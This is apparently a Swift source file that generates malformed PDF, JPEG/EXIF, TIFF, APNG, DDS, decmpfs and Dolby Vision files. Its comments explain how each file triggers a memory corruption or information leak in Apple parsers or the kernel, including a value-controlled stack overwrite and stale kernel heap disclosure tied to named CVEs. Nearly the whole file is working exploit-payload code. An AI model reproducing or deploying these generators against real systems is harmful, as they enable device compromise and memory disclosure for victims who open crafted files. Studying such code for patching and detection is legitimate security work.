563 lines
25 KiB
Swift
563 lines
25 KiB
Swift
import Foundation
|
||
|
||
// MARK: - Bit stream (MSB-first), used by the shading decoder and the RPU builder
|
||
|
||
struct BitWriter {
|
||
private(set) var out: [UInt8] = []
|
||
private var acc: UInt8 = 0
|
||
private var nbits = 0
|
||
|
||
mutating func put(_ value: UInt32, _ width: Int) {
|
||
guard width > 0 else { return }
|
||
for i in stride(from: width - 1, through: 0, by: -1) {
|
||
acc = (acc << 1) | UInt8((value >> UInt32(i)) & 1)
|
||
nbits += 1
|
||
if nbits == 8 { out.append(acc); acc = 0; nbits = 0 }
|
||
}
|
||
}
|
||
|
||
mutating func putExpGolomb(_ value: UInt32) {
|
||
let v = value + 1
|
||
var bits = 0
|
||
while (v >> UInt32(bits)) > 1 { bits += 1 }
|
||
for _ in 0..<bits { put(0, 1) }
|
||
put(v, bits + 1)
|
||
}
|
||
|
||
mutating func flush() -> [UInt8] {
|
||
if nbits > 0 { out.append(acc << (8 - nbits)); acc = 0; nbits = 0 }
|
||
return out
|
||
}
|
||
}
|
||
|
||
// MARK: - PDF
|
||
|
||
struct PDFBuilder {
|
||
private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:]
|
||
|
||
mutating func add(_ n: Int, _ dict: String, _ stream: [UInt8]? = nil) {
|
||
objects[n] = (dict, stream)
|
||
}
|
||
|
||
func data() -> Data {
|
||
var out = Data("%PDF-1.7\n%\u{e2}\u{e3}\u{cf}\u{d3}\n".utf8)
|
||
var offsets: [Int: Int] = [:]
|
||
for n in objects.keys.sorted() {
|
||
guard let obj = objects[n] else { continue }
|
||
offsets[n] = out.count
|
||
out.append(Data("\(n) 0 obj\n".utf8))
|
||
out.append(Data(obj.dict.utf8))
|
||
if let stream = obj.stream {
|
||
out.append(Data("\nstream\n".utf8))
|
||
out.append(Data(stream))
|
||
out.append(Data("\nendstream".utf8))
|
||
}
|
||
out.append(Data("\nendobj\n".utf8))
|
||
}
|
||
let xrefPos = out.count
|
||
let maxObj = objects.keys.max() ?? 0
|
||
out.append(Data("xref\n0 \(maxObj + 1)\n0000000000 65535 f \n".utf8))
|
||
for n in 1...max(maxObj, 1) {
|
||
let off = offsets[n] ?? 0
|
||
out.append(Data(String(format: "%010d 00000 n \n", off).utf8))
|
||
}
|
||
out.append(Data("trailer\n<< /Size \(maxObj + 1) /Root 1 0 R >>\nstartxref\n\(xrefPos)\n%%EOF\n".utf8))
|
||
return out
|
||
}
|
||
}
|
||
|
||
enum PDFPayload {
|
||
|
||
/// CVE-2026-112611 — Type 5 (lattice Gouraud) shading.
|
||
///
|
||
/// `/ColorSpace /DeviceGray` gives nc = 1; the `/Function` declares a `/Range` of
|
||
/// `rangeDim` outputs. `_cg_shading_type5_draw` builds a 72-byte mesh record per
|
||
/// triangle point with a 4-slot (32-byte) color area at +0x20 and calls
|
||
/// `CGFunctionEvaluate`, which writes `rangeDim` doubles there. The mesh array is a
|
||
/// stack VLA, so the last record's write walks up the frame. With `/C0 = /C1 = value`
|
||
/// every written double is the same chosen bit pattern — the smash is value-controlled.
|
||
static func shading(rangeDim: Int, value: Double = 1.0, verticesPerRow: Int = 2, rows: Int = 2) -> Data {
|
||
let bpCoord = 32
|
||
let bpComp = 8
|
||
|
||
var bw = BitWriter()
|
||
var verts: [(UInt32, UInt32)] = []
|
||
for r in 0..<rows {
|
||
for c in 0..<verticesPerRow {
|
||
verts.append((UInt32(0x1000_0000 + c * 0x0800_0000), UInt32(0x1000_0000 + r * 0x0800_0000)))
|
||
}
|
||
}
|
||
for (x, y) in verts {
|
||
bw.put(x, bpCoord)
|
||
bw.put(y, bpCoord)
|
||
bw.put(0, bpComp)
|
||
}
|
||
let stream = bw.flush()
|
||
|
||
let c = String(format: "%.17g", value)
|
||
let list = Array(repeating: c, count: max(1, rangeDim)).joined(separator: " ")
|
||
let rangeList = Array(repeating: "0 1", count: max(1, rangeDim)).joined(separator: " ")
|
||
|
||
var pdf = PDFBuilder()
|
||
pdf.add(1, "<< /Type /Catalog /Pages 2 0 R >>")
|
||
pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
|
||
pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Shading << /Sh1 5 0 R >> >> /Contents 4 0 R >>")
|
||
pdf.add(4, "<< /Length 8 >>", B.ascii(" /Sh1 sh"))
|
||
pdf.add(5, "<< /ShadingType 5 /ColorSpace /DeviceGray /BitsPerCoordinate \(bpCoord) /BitsPerComponent \(bpComp) /VerticesPerRow \(verticesPerRow) /Decode [0 200 0 200 0 1] /Function 6 0 R /Length \(stream.count) >>", stream)
|
||
pdf.add(6, "<< /FunctionType 2 /Domain [0 1] /N 1 /C0 [\(list)] /C1 [\(list)] /Range [\(rangeList)] >>")
|
||
return pdf.data()
|
||
}
|
||
|
||
/// CVE-2026-112610 — CMap `/UseCMap` recursion with an unclamped codespace length.
|
||
/// Reachability for the embedded-CMap vehicle was refuted in the source analysis;
|
||
/// this ships as a negative-result probe so the differential is on record.
|
||
static func cmapProbe(codespaceLength: Int = 128) -> Data {
|
||
var cmap = ""
|
||
cmap += "%!PS-Adobe-3.0 Resource-CMap\n"
|
||
cmap += "/CIDInit /ProcSet findresource begin\n12 dict begin begincmap\n"
|
||
cmap += "/CMapName /Cinder def\n/CMapType 1 def\n/WMode 0 def\n"
|
||
cmap += "1 begincodespacerange\n"
|
||
cmap += "<\(String(repeating: "0", count: 2))> <\(String(repeating: "F", count: max(2, codespaceLength)))>\n"
|
||
cmap += "endcodespacerange\n"
|
||
cmap += "1 begincidrange\n<00> <FF> 0\nendcidrange\n"
|
||
cmap += "endcmap CMapName currentdict /CMap defineresource pop end end\n"
|
||
let cmapBytes = B.ascii(cmap)
|
||
|
||
var pdf = PDFBuilder()
|
||
pdf.add(1, "<< /Type /Catalog /Pages 2 0 R >>")
|
||
pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
|
||
pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Font << /F1 5 0 R >> >> /Contents 4 0 R >>")
|
||
pdf.add(4, "<< /Length 30 >>", B.ascii("BT /F1 12 Tf 10 100 Td <0041> Tj ET"))
|
||
pdf.add(5, "<< /Type /Font /Subtype /Type0 /BaseFont /Cinder /Encoding 6 0 R /DescendantFonts [7 0 R] >>")
|
||
pdf.add(6, "<< /Type /CMap /CMapName /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /Length \(cmapBytes.count) >>", cmapBytes)
|
||
pdf.add(7, "<< /Type /Font /Subtype /CIDFontType2 /BaseFont /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /DW 500 >>")
|
||
return pdf.data()
|
||
}
|
||
}
|
||
|
||
// MARK: - JPEG / EXIF
|
||
|
||
enum JPEGPayload {
|
||
|
||
static func minimalSOI() -> [UInt8] { [0xFF, 0xD8] }
|
||
|
||
/// Family D — a marker declaring a length far beyond the bytes present.
|
||
/// 27.0 warns and keeps parsing (OOB read); 27.2 aborts.
|
||
static func markerLength(declared: Int = 0xFFEE, actual: Int = 30) -> Data {
|
||
var out = minimalSOI()
|
||
out += [0xFF, 0xE1]
|
||
out += [UInt8((declared >> 8) & 0xff), UInt8(declared & 0xff)]
|
||
out += Array(repeating: 0x41, count: max(0, actual - 2))
|
||
out += [0xFF, 0xD9]
|
||
return Data(out)
|
||
}
|
||
|
||
/// Family J — EXIF UserComment whose value offset lands past the marker, so the
|
||
/// short read leaves the malloc'd buffer tail uninitialised and the metadata read
|
||
/// returns stale heap bytes.
|
||
static func exifUserComment(count: Int = 0x400, valueOffset: Int = 0x4000) -> Data {
|
||
var tiff = Data()
|
||
tiff.append(contentsOf: [0x4D, 0x4D, 0x00, 0x2A]) // MM, 42
|
||
tiff.append(contentsOf: B.be32(8)) // IFD0 at 8
|
||
tiff.append(contentsOf: B.be16(1)) // 1 entry
|
||
tiff.append(contentsOf: B.be16(0x9286)) // UserComment
|
||
tiff.append(contentsOf: B.be16(7)) // UNDEFINED
|
||
tiff.append(contentsOf: B.be32(UInt32(count)))
|
||
tiff.append(contentsOf: B.be32(UInt32(valueOffset))) // far past the block
|
||
tiff.append(contentsOf: B.be32(0)) // next IFD
|
||
|
||
var out = minimalSOI()
|
||
let payload = B.ascii("Exif\u{0}\u{0}") + [UInt8](tiff)
|
||
let len = payload.count + 2
|
||
out += [0xFF, 0xE1, UInt8((len >> 8) & 0xff), UInt8(len & 0xff)]
|
||
out += payload
|
||
out += [0xFF, 0xD9]
|
||
return Data(out)
|
||
}
|
||
|
||
/// Family F — GPS IFD whose value offsets point far past the GPS blob.
|
||
static func exifGPSOutOfBounds(delta: Int = 0x10000) -> Data {
|
||
var tiff = Data()
|
||
tiff.append(contentsOf: [0x4D, 0x4D, 0x00, 0x2A])
|
||
tiff.append(contentsOf: B.be32(8))
|
||
tiff.append(contentsOf: B.be16(1))
|
||
tiff.append(contentsOf: B.be16(0x8825)) // GPSInfoIFDPointer
|
||
tiff.append(contentsOf: B.be16(4)) // LONG
|
||
tiff.append(contentsOf: B.be32(1))
|
||
tiff.append(contentsOf: B.be32(26)) // GPS IFD at 26
|
||
tiff.append(contentsOf: B.be32(0))
|
||
// GPS IFD
|
||
tiff.append(contentsOf: B.be16(2))
|
||
tiff.append(contentsOf: B.be16(0x0000)) // GPSVersionID
|
||
tiff.append(contentsOf: B.be16(1))
|
||
tiff.append(contentsOf: B.be32(4))
|
||
tiff.append(contentsOf: [2, 3, 0, 0])
|
||
tiff.append(contentsOf: B.be16(0x0006)) // GPSAltitude
|
||
tiff.append(contentsOf: B.be16(5)) // RATIONAL
|
||
tiff.append(contentsOf: B.be32(1))
|
||
tiff.append(contentsOf: B.be32(UInt32(26 + 18 + delta))) // far past the blob
|
||
tiff.append(contentsOf: B.be32(0))
|
||
|
||
var out = minimalSOI()
|
||
let payload = B.ascii("Exif\u{0}\u{0}") + [UInt8](tiff)
|
||
let len = payload.count + 2
|
||
out += [0xFF, 0xE1, UInt8((len >> 8) & 0xff), UInt8(len & 0xff)]
|
||
out += payload
|
||
out += [0xFF, 0xD9]
|
||
return Data(out)
|
||
}
|
||
}
|
||
|
||
// MARK: - TIFF
|
||
|
||
enum TIFFPayload {
|
||
|
||
struct Entry {
|
||
let tag: UInt16
|
||
let type: UInt16
|
||
let count: UInt32
|
||
let value: [UInt8] // raw payload bytes (little-endian), inline if <= 4
|
||
}
|
||
|
||
static func build(entries: [Entry], blobs: [(tag: UInt16, bytes: [UInt8])]) -> Data {
|
||
let ifdOffset = 8
|
||
let ifdSize = 2 + entries.count * 12 + 4
|
||
var extraOffset = ifdOffset + ifdSize
|
||
if extraOffset % 2 == 1 { extraOffset += 1 }
|
||
|
||
var extra = Data()
|
||
var blobOffsets: [UInt16: UInt32] = [:]
|
||
for blob in blobs {
|
||
blobOffsets[blob.tag] = UInt32(extraOffset + extra.count)
|
||
extra.append(contentsOf: blob.bytes)
|
||
}
|
||
|
||
var out = Data()
|
||
out.append(contentsOf: [0x49, 0x49, 0x2A, 0x00])
|
||
out.append(contentsOf: B.le32(UInt32(ifdOffset)))
|
||
out.append(contentsOf: B.le16(UInt16(entries.count)))
|
||
for e in entries.sorted(by: { $0.tag < $1.tag }) {
|
||
out.append(contentsOf: B.le16(e.tag))
|
||
out.append(contentsOf: B.le16(e.type))
|
||
out.append(contentsOf: B.le32(e.count))
|
||
if e.value.count <= 4 {
|
||
var v = e.value
|
||
while v.count < 4 { v.append(0) }
|
||
out.append(contentsOf: v)
|
||
} else {
|
||
out.append(contentsOf: B.le32(blobOffsets[e.tag] ?? 0))
|
||
}
|
||
}
|
||
out.append(contentsOf: B.le32(0))
|
||
if out.count < extraOffset { out.append(contentsOf: [UInt8](repeating: 0, count: extraOffset - out.count)) }
|
||
out.append(extra)
|
||
return out
|
||
}
|
||
|
||
/// Family A — planar configuration with more planes than the destination row can hold.
|
||
///
|
||
/// Photometric=RGB gives a 3-channel destination row; SamplesPerPixel=4 with
|
||
/// PlanarConfiguration=2 makes the 4th plane scatter past it. The scatter offset in
|
||
/// 27.0 is a 32-bit multiply with no capacity compare against the row.
|
||
static func planarScatter(width: Int = 64, height: Int = 64, spp: Int = 4, photometric: UInt16 = 2) -> Data {
|
||
let bits: [UInt8] = (0..<spp).flatMap { _ in B.le16(8) }
|
||
let stripBytes = width * height
|
||
|
||
// Deterministic layout: IFD at 8, then BitsPerSample blob, then StripOffsets blob,
|
||
// then the plane data. Every offset below is computed, not patched.
|
||
let ifdOffset = 8
|
||
let ifdSize = 2 + 10 * 12 + 4
|
||
var extraOffset = ifdOffset + ifdSize
|
||
if extraOffset % 2 == 1 { extraOffset += 1 }
|
||
let bitsOffset = extraOffset
|
||
let offsetsBlobOffset = bitsOffset + bits.count
|
||
let stripBase = offsetsBlobOffset + spp * 4
|
||
|
||
var stripOffsets: [UInt8] = []
|
||
for i in 0..<spp { stripOffsets += B.le32(UInt32(stripBase + i * stripBytes)) }
|
||
|
||
let entries: [Entry] = [
|
||
Entry(tag: 256, type: 4, count: 1, value: B.le32(UInt32(width))),
|
||
Entry(tag: 257, type: 4, count: 1, value: B.le32(UInt32(height))),
|
||
Entry(tag: 258, type: 3, count: UInt32(spp), value: bits),
|
||
Entry(tag: 259, type: 3, count: 1, value: B.le16(1)),
|
||
Entry(tag: 262, type: 3, count: 1, value: B.le16(photometric)),
|
||
Entry(tag: 273, type: 4, count: UInt32(spp), value: stripOffsets),
|
||
Entry(tag: 277, type: 3, count: 1, value: B.le16(UInt16(spp))),
|
||
Entry(tag: 278, type: 4, count: 1, value: B.le32(UInt32(height))),
|
||
Entry(tag: 279, type: 4, count: UInt32(spp), value: (0..<spp).flatMap { _ in B.le32(UInt32(stripBytes)) }),
|
||
Entry(tag: 284, type: 3, count: 1, value: B.le16(2)),
|
||
]
|
||
|
||
var data = build(entries: entries, blobs: [(258, bits), (273, stripOffsets)])
|
||
// pad to the computed strip base in case the builder aligned differently
|
||
if data.count < stripBase {
|
||
data.append(contentsOf: [UInt8](repeating: 0, count: stripBase - data.count))
|
||
}
|
||
for plane in 0..<spp {
|
||
data.append(contentsOf: [UInt8](repeating: UInt8(0x40 + plane * 0x20), count: stripBytes))
|
||
}
|
||
return data
|
||
}
|
||
|
||
/// Family I — second strip physically truncated while StripByteCounts claims a full
|
||
/// strip. 27.0 ignores the short read and scatters the uninitialised strip buffer
|
||
/// into the output image.
|
||
///
|
||
/// Strip offsets must actually point at the strip data. The 273 entry carries two
|
||
/// u32 values (8 bytes > 4), so they live in the extra area as a blob and the IFD
|
||
/// field holds the blob offset — a zeroed entry would send both strips to the file
|
||
/// header and never truncate anything. Two-pass build: the placeholder blob fixes
|
||
/// the layout (identical sizes both passes), the second pass writes real offsets.
|
||
static func truncatedStrip(width: Int = 32, height: Int = 32) -> Data {
|
||
let stripBytes = width * height / 2
|
||
let placeholder: [UInt8] = [UInt8](repeating: 0, count: 8)
|
||
var entries: [Entry] = [
|
||
Entry(tag: 256, type: 4, count: 1, value: B.le32(UInt32(width))),
|
||
Entry(tag: 257, type: 4, count: 1, value: B.le32(UInt32(height))),
|
||
Entry(tag: 258, type: 3, count: 1, value: B.le16(8)),
|
||
Entry(tag: 259, type: 3, count: 1, value: B.le16(1)),
|
||
Entry(tag: 262, type: 3, count: 1, value: B.le16(1)),
|
||
Entry(tag: 273, type: 4, count: 2, value: placeholder),
|
||
Entry(tag: 277, type: 3, count: 1, value: B.le16(1)),
|
||
Entry(tag: 278, type: 4, count: 1, value: B.le32(UInt32(height / 2))),
|
||
Entry(tag: 279, type: 4, count: 2, value: B.le32(UInt32(stripBytes)) + B.le32(UInt32(stripBytes))),
|
||
Entry(tag: 284, type: 3, count: 1, value: B.le16(1)),
|
||
]
|
||
// pass 1: identical-size placeholder fixes the file length
|
||
var data = build(entries: entries, blobs: [(273, placeholder)])
|
||
let base = UInt32(data.count)
|
||
// pass 2: real strip offsets — both passes produce the same layout
|
||
let stripOffsets = B.le32(base) + B.le32(base + UInt32(stripBytes))
|
||
entries[5] = Entry(tag: 273, type: 4, count: 2, value: stripOffsets)
|
||
data = build(entries: entries, blobs: [(273, stripOffsets)])
|
||
data.append(contentsOf: [UInt8](repeating: 0x33, count: stripBytes))
|
||
data.append(contentsOf: [UInt8](repeating: 0x00, count: 16)) // truncated second strip
|
||
return data
|
||
}
|
||
}
|
||
|
||
// MARK: - PNG / APNG
|
||
|
||
enum PNGPayload {
|
||
static func crc32(_ bytes: [UInt8]) -> UInt32 {
|
||
var table = [UInt32](repeating: 0, count: 256)
|
||
for i in 0..<256 {
|
||
var c = UInt32(i)
|
||
for _ in 0..<8 { c = (c & 1) != 0 ? (0xEDB88320 ^ (c >> 1)) : (c >> 1) }
|
||
table[i] = c
|
||
}
|
||
var crc: UInt32 = 0xFFFFFFFF
|
||
for b in bytes { crc = table[Int((crc ^ UInt32(b)) & 0xFF)] ^ (crc >> 8) }
|
||
return crc ^ 0xFFFFFFFF
|
||
}
|
||
|
||
/// Stored (uncompressed) deflate wrapped in zlib — a valid stream with no compressor.
|
||
static func zlibStore(_ input: [UInt8]) -> [UInt8] {
|
||
var out: [UInt8] = [0x78, 0x01]
|
||
var offset = 0
|
||
if input.isEmpty { out += [0x01, 0x00, 0x00, 0xFF, 0xFF] }
|
||
while offset < input.count {
|
||
let take = min(65535, input.count - offset)
|
||
out.append(offset + take >= input.count ? 0x01 : 0x00)
|
||
out += B.le16(UInt16(take))
|
||
out += B.le16(UInt16(~take & 0xFFFF))
|
||
out += Array(input[offset..<(offset + take)])
|
||
offset += take
|
||
}
|
||
var a: UInt32 = 1, b: UInt32 = 0
|
||
for byte in input {
|
||
a = (a + UInt32(byte)) % 65521
|
||
b = (b + a) % 65521
|
||
}
|
||
out += B.be32((b << 16) | a)
|
||
return out
|
||
}
|
||
|
||
static func chunk(_ type: String, _ data: [UInt8], declaredLength: Int? = nil, truncateTo: Int? = nil) -> [UInt8] {
|
||
let body = truncateTo.map { Array(data.prefix($0)) } ?? data
|
||
let len = UInt32(declaredLength ?? data.count)
|
||
var out = B.be32(len) + B.ascii(type) + body
|
||
out += B.be32(crc32(B.ascii(type) + body))
|
||
return out
|
||
}
|
||
|
||
/// Family H — an fcTL chunk truncated mid-header.
|
||
///
|
||
/// 27.0 reads 34 bytes at the fcTL offset and never checks the return value, so a file
|
||
/// that ends inside the fcTL leaves a 34-byte stack buffer partly uninitialised and the
|
||
/// frame geometry is parsed out of whatever was there. 27.2 reads 26 bytes and compares
|
||
/// against 0x1a.
|
||
static func apngTruncatedFCTL(mode: Int = 0) -> Data {
|
||
var out: [UInt8] = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
|
||
out += chunk("IHDR", B.be32(4) + B.be32(4) + [8, 6, 0, 0, 0])
|
||
out += chunk("acTL", B.be32(2) + B.be32(0))
|
||
var fctl: [UInt8] = B.be32(0) + B.be32(4) + B.be32(4) + B.be32(0) + B.be32(0)
|
||
fctl += B.be16(1) + B.be16(10) + [0, 0]
|
||
|
||
// a real 4x4 RGBA frame so the container itself is valid
|
||
var rawRows: [UInt8] = []
|
||
for _ in 0..<4 {
|
||
rawRows.append(0)
|
||
rawRows += [UInt8](repeating: 0x80, count: 16)
|
||
}
|
||
let idat = chunk("IDAT", zlibStore(rawRows))
|
||
|
||
if mode == 2 {
|
||
// control: a fully valid first fcTL (proves the container is otherwise sound)
|
||
out += chunk("fcTL", fctl)
|
||
out += idat
|
||
out += chunk("IEND", [])
|
||
} else if mode == 0 {
|
||
// proper chunk header claiming 26 bytes, only 4 present, then IEND
|
||
out += chunk("fcTL", fctl, declaredLength: 26, truncateTo: 4)
|
||
out += idat
|
||
out += chunk("IEND", [])
|
||
} else {
|
||
// file ends inside the fcTL: header + 4 data bytes, no CRC, no IEND
|
||
out += B.be32(26) + B.ascii("fcTL") + Array(fctl.prefix(4))
|
||
}
|
||
return Data(out)
|
||
}
|
||
}
|
||
|
||
// MARK: - DDS / KTX
|
||
|
||
enum TexturePayload {
|
||
/// Family G — BC7 DDS whose single mip level is far shorter than the block math needs.
|
||
static func bc7Short(width: Int = 512, height: Int = 512, dataBytes: Int = 64) -> Data {
|
||
var out = Data("DDS ".utf8)
|
||
out.append(contentsOf: B.le32(124))
|
||
out.append(contentsOf: B.le32(0x00081007))
|
||
out.append(contentsOf: B.le32(UInt32(height)))
|
||
out.append(contentsOf: B.le32(UInt32(width)))
|
||
out.append(contentsOf: B.le32(0))
|
||
out.append(contentsOf: B.le32(0))
|
||
out.append(contentsOf: B.le32(1))
|
||
out.append(contentsOf: [UInt8](repeating: 0, count: 44))
|
||
out.append(contentsOf: B.le32(32))
|
||
out.append(contentsOf: B.le32(0x4))
|
||
out.append(contentsOf: B.ascii("DX10"))
|
||
out.append(contentsOf: [UInt8](repeating: 0, count: 20))
|
||
out.append(contentsOf: B.le32(0x1000))
|
||
out.append(contentsOf: B.le32(0) + B.le32(0) + B.le32(0) + B.le32(0))
|
||
// DX10 header — DXGI_FORMAT_BC7_UNORM = 98, TEXTURECUBE off, arraySize 1
|
||
out.append(contentsOf: B.le32(98) + B.le32(3) + B.le32(0) + B.le32(1) + B.le32(0))
|
||
out.append(contentsOf: [UInt8](repeating: 0, count: max(1, dataBytes)))
|
||
return out
|
||
}
|
||
}
|
||
|
||
// MARK: - decmpfs (AppleFSCompression)
|
||
|
||
enum Decmpfs {
|
||
static let magic: UInt32 = 0x636D_7066 // 'cmpf'
|
||
static let typeZlibChunked: UInt32 = 4
|
||
|
||
/// Build a `com.apple.decmpfs` xattr payload: type-4 chunked zlib, with per-chunk
|
||
/// control over how many bytes each zlib stream actually produces.
|
||
///
|
||
/// CVE-2026-113910 lives in AppleFSCompressionTypeZlib: a chunk that decompresses to
|
||
/// fewer bytes than the chunk table promises leaves the tail of the kernel page buffer
|
||
/// unwritten, and that stale kernel heap is what read() hands back to the app.
|
||
static func chunkedXattr(uncompressedSize: Int, chunkCount: Int, producePerChunk: Int) -> Data {
|
||
var out = Data()
|
||
out.append(contentsOf: B.le32(magic))
|
||
out.append(contentsOf: B.le32(typeZlibChunked))
|
||
out.append(contentsOf: B.le64(UInt64(uncompressedSize)))
|
||
|
||
let headerSize = 16 + (chunkCount + 1) * 4
|
||
var chunkBlobs: [[UInt8]] = []
|
||
for _ in 0..<chunkCount {
|
||
// flag 0x00 + zlib stream that decompresses to producePerChunk bytes of 0x41
|
||
var raw: [UInt8] = []
|
||
// stored (uncompressed) deflate blocks — trivially valid zlib
|
||
let payload = [UInt8](repeating: 0x41, count: max(0, producePerChunk))
|
||
raw.append(0x78); raw.append(0x01) // zlib header, no dict
|
||
var offset = 0
|
||
if payload.isEmpty {
|
||
raw += [0x01, 0x00, 0x00, 0xFF, 0xFF] // final empty stored block
|
||
}
|
||
while offset < payload.count {
|
||
let take = min(65535, payload.count - offset)
|
||
raw.append(offset + take >= payload.count ? 0x01 : 0x00)
|
||
raw += B.le16(UInt16(take))
|
||
raw += B.le16(UInt16(~take & 0xFFFF))
|
||
raw += Array(payload[offset..<(offset + take)])
|
||
offset += take
|
||
}
|
||
raw += adler32(payload)
|
||
chunkBlobs.append([0x00] + raw)
|
||
}
|
||
|
||
var offsets: [UInt32] = []
|
||
var running: UInt32 = 0
|
||
for blob in chunkBlobs {
|
||
offsets.append(running)
|
||
running += UInt32(blob.count)
|
||
}
|
||
offsets.append(running)
|
||
for o in offsets { out.append(contentsOf: B.le32(o)) }
|
||
_ = headerSize
|
||
for blob in chunkBlobs { out.append(contentsOf: blob) }
|
||
return out
|
||
}
|
||
|
||
static func adler32(_ bytes: [UInt8]) -> [UInt8] {
|
||
var a: UInt32 = 1, b: UInt32 = 0
|
||
for byte in bytes {
|
||
a = (a + UInt32(byte)) % 65521
|
||
b = (b + a) % 65521
|
||
}
|
||
return B.be32((b << 16) | a)
|
||
}
|
||
}
|
||
|
||
// MARK: - Dolby Vision RPU
|
||
|
||
enum RPUPayload {
|
||
|
||
/// Build a Dolby Vision RP 2086 RPU byte sequence that drives
|
||
/// `hevcbridgeParseVdrDmDataPayloadExMetadataBlocks` past one of the three
|
||
/// fixed-capacity arrays (A: 4 × 28 B, B: 8 × 14 B, C: 5 × 36 B).
|
||
///
|
||
/// The source research reconstructed the header grammar only through the entry
|
||
/// checks (magic / rpu_type / rpu_format, verified live on the macOS twin); the
|
||
/// remaining VDR structures are emitted here as a parameterised grammar probe so the
|
||
/// parser's own error receipt tells you how far it got.
|
||
static func probe(blockID: UInt32 = 1, blockCount: Int = 6, seed: UInt32 = 0x0BADF00D) -> Data {
|
||
var bw = BitWriter()
|
||
bw.put(0x19, 8) // magic, byte 0
|
||
bw.put(2, 6) // rpu_type = 2 (DOVI)
|
||
bw.put(0x12, 11) // rpu_format
|
||
bw.put(seed & 0x1F, 5)
|
||
bw.put(1, 4) // vdr_rpu_profile
|
||
bw.put(0, 4) // vdr_rpu_level
|
||
bw.put(0, 1) // vdr_seq_info_present_flag
|
||
bw.put(1, 1) // chroma_resampling_explicit_filter_flag
|
||
bw.put(2, 2) // coefficient_data_type
|
||
bw.put(1, 1) // el_spatial_resampling_filter_flag
|
||
bw.put(0, 1) // disable_residual_flag
|
||
bw.put(0, 4) // nln
|
||
bw.put(1, 2) // num_dm_data
|
||
// DM data head: class-2 ext block loop
|
||
bw.putExpGolomb(UInt32(blockCount))
|
||
for i in 0..<blockCount {
|
||
bw.putExpGolomb(0x40) // ext block length-ish
|
||
bw.put(blockID, 8) // block_id
|
||
// block-id 1 field grammar (u12 x3, u8 x6, u8 x2, u8 gate, u16 x3)
|
||
bw.put(UInt32(0x100 + i), 12)
|
||
bw.put(UInt32(0x101 + i), 12)
|
||
bw.put(UInt32(0x102 + i), 12)
|
||
for _ in 0..<6 { bw.put(0x26, 8) }
|
||
bw.put(0x25, 8)
|
||
bw.put(0x59, 8)
|
||
bw.put(0x13, 8) // unlocks the u16 tail
|
||
bw.put(UInt32(0x0FFF & (i * 0x111)), 16)
|
||
bw.put(UInt32(0x0FFF & (i * 0x222)), 16)
|
||
bw.put(UInt32(0x0FFF & (i * 0x333)), 16)
|
||
}
|
||
return Data(bw.flush())
|
||
}
|
||
}
|